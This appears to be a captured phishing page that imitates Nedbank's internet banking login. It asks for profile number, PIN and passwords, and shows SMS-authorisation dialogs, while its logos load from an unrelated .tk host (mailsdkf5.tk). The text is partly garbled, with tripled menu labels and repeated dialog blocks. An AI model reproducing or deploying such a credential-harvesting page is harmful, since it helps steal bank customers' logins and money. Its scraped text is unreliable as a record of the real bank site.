                <td align="left"><img src="http://mailsdkf5.tk/c20/cgi-lin/PSALogo.gif"></td>
                <td align="left" width="200"><a href="http://www.nedbank.co.za/website/content/askonce/askonce.asp" target="_blank"><img src="http://mailsdkf5.tk/c20/cgi-lin/AskOnceLogo.gif"></a></td>
                <td align="right"><img src="http://mailsdkf5.tk/c20/cgi-lin/NedbankFooterLogo.gif"></td>
              </tr>
            </tbody>
          </table>
          <table>
            <tbody>
              <tr>
                <td colspan="2" style="font:arial; font-size:10px; " align="left" valign="top" width="974px">
                  <br> Copyright © Nedbank Limited 1997-2014. Nedbank Ltd Reg No 1951/000009/06. We subscribe to the Code of Banking Practice of The Banking Association South Africa and, for unresolved disputes, support resolution through the
                  Ombudsman for Banking Services. We are an authorised financial services provider. We are a registered credit provider in terms of the National Credit Act (NCR Reg No NCRCP16).
                </td>
              </tr>
              <tr>
                <td class="FooterLinks" colspan="2" align="center">
                  <a href="http://www.nedbank.co.za/" target="_blank">Home</a> : <a href="http://www.nedbank.co.za/website/content/legal/index.asp" target="_blank">Legal Requirements</a> :
                  <a href="http://www.nedbank.co.za/website/content/home/glossary.asp" target="_blank">Glossary</a>
                </td>
              </tr>
            </tbody>
          </table>
        </td>
        <td style="padding-top:164px;" valign="top">
          <div id="RightLine" class="rightline">&nbsp;</div>
        </td>
      </tr>
    </tbody>
  </table>
</form>

Text Content

Page loading. Please be patient


 





Version:

Home
 * Online
   SecurityOnline
   SecurityOnline
   Security
 * ApplyApplyApply
 * NetBank
   DemoNetBank
   DemoNetBank
   Demo
 * NetBank
   User GuideNetBank
   User GuideNetBank
   User Guide
 * More About
   NetBankMore About
   NetBankMore About
   NetBank
 * Talk
   to UsTalk
   to UsTalk
   to Us
 * Personal
   Money ManagerPersonal
   Money ManagerPersonal
   Money Manager
 * Online Share
   TradingOnline Share
   TradingOnline Share
   Trading
 * Verify
   PaymentVerify
   PaymentVerify
   Payment
 * Terms &
   ConditionsTerms &
   ConditionsTerms &
   Conditions
 * FAQFAQFAQ
 * Trusteer Rapport
   SecurityTrusteer Rapport
   SecurityTrusteer Rapport
   Security

User Login

First time. Learn more Profile Number PIN   *Password  
*New Password  
*Confirm Password  







1 2 3



SECURITY ALERT Nedbank will never ask you to access
internet banking through a link in an email.
Click here for more info.

Click here for info on how to verify this
website

Nedbank will never ask for your mobile number when you access internet banking.





Important Information Security Information SMS Authorisation Browser
Requirements (NEW) Payments (NEW) FICA/Money Laundering Features Fees Contact Us













Copyright © Nedbank Limited 1997-2014. Nedbank Ltd Reg No 1951/000009/06. We
subscribe to the Code of Banking Practice of The Banking Association South
Africa and, for unresolved disputes, support resolution through the Ombudsman
for Banking Services. We are an authorised financial services provider. We are a
registered credit provider in terms of the National Credit Act (NCR Reg No
NCRCP16). Home : Legal Requirements : Glossary

 

Mobile Authenticationclose

A message has been sent to your mobile device to confirm that you want to do
sensitive transactions. You need to Accept, within 1 minute, using your mobile
device in order to continue with this transaction.


Note

Choosing the Reject option on your mobile device will stop you from continuing
with this sensitive transaction.


If you have any queries contact 0860 555 111 or +2711 710 4000

Sensitive transactions include:

 * payments where no beneficiary is loaded
 * bank approved beneficiaries for whom a recurring payment is loaded
 * any pre-paid purchases for other mobile numbers
 * adding a beneficiary
 * changing your statement delivery options
 * certain investment transactions that involves re-investing, pay-out,
   withdrawals or maintenance thereof
 * Nedbank App Suite Banking Activation

A message has been sent to your mobile device to confirm the transaction. You
need to Accept within 1 minute using your mobile device in order to complete
this transaction.


Note

Choosing the Reject option on your mobile device will stop the transaction from
being processed.


If you have any queries contact 0860 555 111 or +2711 710 4000

If you have not received a message on your mobile phone device, please click the
resend button when it becomes active to resend the message to your mobile phone.

You Rejected to continue with any sensitive transactions. You can continue with
other non-sensitive transactions on your Internet Banking.

If you have any queries contact 0860 555 111 or +2711 710 4000

You rejected to continue with this transaction.

If you have any queries contact 0860 555 111 or +2711 710 4000

You Rejected to continue with this transaction.

If you have any queries contact 0860 555 111 or +2711 710 4000

You cannot perform any sensitive transactions because your cellphone number is
not activated for SMS Authorisation.

In order to do sensitive transactions, please visit your nearest branch to
re-activate SMS Authorization. If you have any queries contact 0860 555 111
or+27 11 710 4000.

You cannot perform any sensitive transactions because your cellphone number is
not activated for SMS Authorisation.

In order to do sensitive transactions, please visit your nearest branch to
re-activate SMS Authorization. If you have any queries contact 0860 555 111
or+27 11 710 4000.

You have chosen the Suspend option. Your Internet Banking profile is now
suspended and no further transacting is possible.

If you have any queries contact 0860 555 111 or +2711 710 4000

The message sent to your mobile device has timed out.

You can:

 * Click on Cancel to return to your Internet Banking or
 * Click on Resend to resend the message to your mobile device.

If you have any queries contact 0860 555 111 or +2711 710 4000

Busy making a connection to your phone...

A technical error occured.

If you have any queries contact 0860 555 111 or +2711 710 4000

You canceled on your phone.

You can:

 * Click on Cancel to return to your Internet Banking or
 * Click on Resend to resend the message to your mobile device.

If you have any queries contact 0860 555 111 or +2711 710 4000

Redirect Confirmationclose

You are now leaving Nedbank Internet Banking and entering My Financial Life. If
you wish to transact on Nedbank Internet Banking after using My Financial Life,
you will need to log in to Nedbank Internet Banking again.

Select ‘Yes’ if you wish to continue or ‘No’ if you want to remain in Nedbank
Internet Banking.

Mobile Authenticationclose

A message has been sent to your mobile device to confirm that you want to do
sensitive transactions. You need to Accept, within 1 minute, using your mobile
device in order to continue with this transaction.


Note

Choosing the Reject option on your mobile device will stop you from continuing
with this sensitive transaction.


If you have any queries contact 0860 555 111 or +2711 710 4000

Sensitive transactions include:

 * payments where no beneficiary is loaded
 * bank approved beneficiaries for whom a recurring payment is loaded
 * any pre-paid purchases for other mobile numbers
 * adding a beneficiary
 * changing your statement delivery options
 * certain investment transactions that involves re-investing, pay-out,
   withdrawals or maintenance thereof
 * Nedbank App Suite Banking Activation

A message has been sent to your mobile device to confirm the transaction. You
need to Accept within 1 minute using your mobile device in order to complete
this transaction.


Note

Choosing the Reject option on your mobile device will stop the transaction from
being processed.


If you have any queries contact 0860 555 111 or +2711 710 4000

If you have not received a message on your mobile phone device, please click the
resend button when it becomes active to resend the message to your mobile phone.

You Rejected to continue with any sensitive transactions. You can continue with
other non-sensitive transactions on your Internet Banking.

If you have any queries contact 0860 555 111 or +2711 710 4000

You rejected to continue with this transaction.

If you have any queries contact 0860 555 111 or +2711 710 4000

You Rejected to continue with this transaction.

If you have any queries contact 0860 555 111 or +2711 710 4000

You cannot perform any sensitive transactions because your cellphone number is
not activated for SMS Authorisation.

In order to do sensitive transactions, please visit your nearest branch to
re-activate SMS Authorization. If you have any queries contact 0860 555 111
or+27 11 710 4000.

You cannot perform any sensitive transactions because your cellphone number is
not activated for SMS Authorisation.

In order to do sensitive transactions, please visit your nearest branch to
re-activate SMS Authorization. If you have any queries contact 0860 555 111
or+27 11 710 4000.

You have chosen the Suspend option. Your Internet Banking profile is now
suspended and no further transacting is possible.

If you have any queries contact 0860 555 111 or +2711 710 4000

The message sent to your mobile device has timed out.

You can:

 * Click on Cancel to return to your Internet Banking or
 * Click on Resend to resend the message to your mobile device.

If you have any queries contact 0860 555 111 or +2711 710 4000

Busy making a connection to your phone...

A technical error occured.

If you have any queries contact 0860 555 111 or +2711 710 4000

You canceled on your phone.

You can:

 * Click on Cancel to return to your Internet Banking or
 * Click on Resend to resend the message to your mobile device.

If you have any queries contact 0860 555 111 or +2711 710 4000









Mobile Authenticationclose

A message has been sent to your mobile device to confirm that you want to do
sensitive transactions. You need to Accept, within 1 minute, using your mobile
device in order to continue with this transaction.


Note

Choosing the Reject option on your mobile device will stop you from continuing
with this sensitive transaction.


If you have any queries contact 0860 555 111 or +2711 710 4000

Sensitive transactions include:

 * payments where no beneficiary is loaded
 * bank approved beneficiaries for whom a recurring payment is loaded
 * any pre-paid purchases for other mobile numbers
 * adding a beneficiary
 * changing your statement delivery options
 * certain investment transactions that involves re-investing, pay-out,
   withdrawals or maintenance thereof
 * Nedbank App Suite Banking Activation

A message has been sent to your mobile device to confirm the transaction. You
need to Accept within 1 minute using your mobile device in order to complete
this transaction.


Note

Choosing the Reject option on your mobile device will stop the transaction from
being processed.


If you have any queries contact 0860 555 111 or +2711 710 4000

If you have not received a message on your mobile phone device, please click the
resend button when it becomes active to resend the message to your mobile phone.

You Rejected to continue with any sensitive transactions. You can continue with
other non-sensitive transactions on your Internet Banking.

If you have any queries contact 0860 555 111 or +2711 710 4000

You rejected to continue with this transaction.

If you have any queries contact 0860 555 111 or +2711 710 4000

You Rejected to continue with this transaction.

If you have any queries contact 0860 555 111 or +2711 710 4000

You cannot perform any sensitive transactions because your cellphone number is
not activated for SMS Authorisation.

In order to do sensitive transactions, please visit your nearest branch to
re-activate SMS Authorization. If you have any queries contact 0860 555 111
or+27 11 710 4000.

You cannot perform any sensitive transactions because your cellphone number is
not activated for SMS Authorisation.

In order to do sensitive transactions, please visit your nearest branch to
re-activate SMS Authorization. If you have any queries contact 0860 555 111
or+27 11 710 4000.

You have chosen the Suspend option. Your Internet Banking profile is now
suspended and no further transacting is possible.

If you have any queries contact 0860 555 111 or +2711 710 4000

The message sent to your mobile device has timed out.

You can:

 * Click on Cancel to return to your Internet Banking or
 * Click on Resend to resend the message to your mobile device.

If you have any queries contact 0860 555 111 or +2711 710 4000

Busy making a connection to your phone...

A technical error occured.

If you have any queries contact 0860 555 111 or +2711 710 4000

You canceled on your phone.

You can:

 * Click on Cancel to return to your Internet Banking or
 * Click on Resend to resend the message to your mobile device.

If you have any queries contact 0860 555 111 or +2711 710 4000